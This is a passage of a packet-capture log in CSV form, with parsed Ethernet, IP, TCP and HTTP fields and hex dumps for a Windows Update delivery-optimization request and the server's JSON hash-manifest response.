\"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 34286, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.209\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1449574497, \"\"ack\"\": 1283517346, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 49379, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:55.807490,126,TCP 10.152.152.11:64008 -> 194.36.32.209:80,10.152.152.11,194.36.32.209,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,PA,,http://194.36.32.209/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bdef494000800684580a98980bc22420d1fa0800505666c0614c80eba250182014796e0000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a203139342e33362e33322e3230390d0a0d0a,\".$.)...$.6\n...E....I@....X\n....$ ....PVf.aL...P. .yn..GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 194.36.32.209\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 61257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 33880, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.209\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1449574497, \"\"ack\"\": 1283517346, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31086, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"194.36.32.209\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-06-14 14:16:55.807497,127,TCP 194.36.32.209:80 -> 10.152.152.11:64008,194.36.32.209,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1283517346 Ack=1449574902,bc2411360d0cbc24112907bb080045000028ca8740004006eaafc22420d10a98980b0050fa084c80eba25666c1f65010003f85b30000,\".$.6\n..$.)....E..(..@.@....$ .\n....P..L...Vf..P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 60079, \"\"src\"\": \"\"194.36.32.209\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 1283517346, \"\"ack\"\": 1449574902, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 34227, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:56.156276,128,TCP 194.36.32.209:80 -> 10.152.152.11:64008,194.36.32.209,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000d80ca8840004006dd56c22420d10a98980b0050fa084c80eba25666c1f65018003f930b0000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203134204a756e20323032362031343a32313a333320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a203134313635300d0a582d5365727665642d42793a2063616368652d6672612d65646466383233303038312d4652410d0a582d43616368653a204849540d0a582d43616368652d486974733a20320d0a582d54696d65723a2053313737313839333830342e3136353634362c5653302c5645300d0a582d4349443a2031303030360d0a582d4343433a2038343965633131372d376163382d346331642d383362312d3066643362613766613734310d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e72,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnr\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 51848, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56662, \"\"src\"\": \"\"194.36.32.209\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 1283517346, \"\"ack\"\": 1449574902, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"141650\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 14 Jun 2026 14:21:33 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-fra-eddf8230081-FRA', b'X-Cache': b'HIT', b'X-Cache-Hits': b'2', b'X-Timer': b'S1771893804.165646,VS0,VE0', b'X-CID': b'10006', b'X-CCC': b'849ec117-7ac8-4c1d-83b1-0fd3ba7fa741', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJ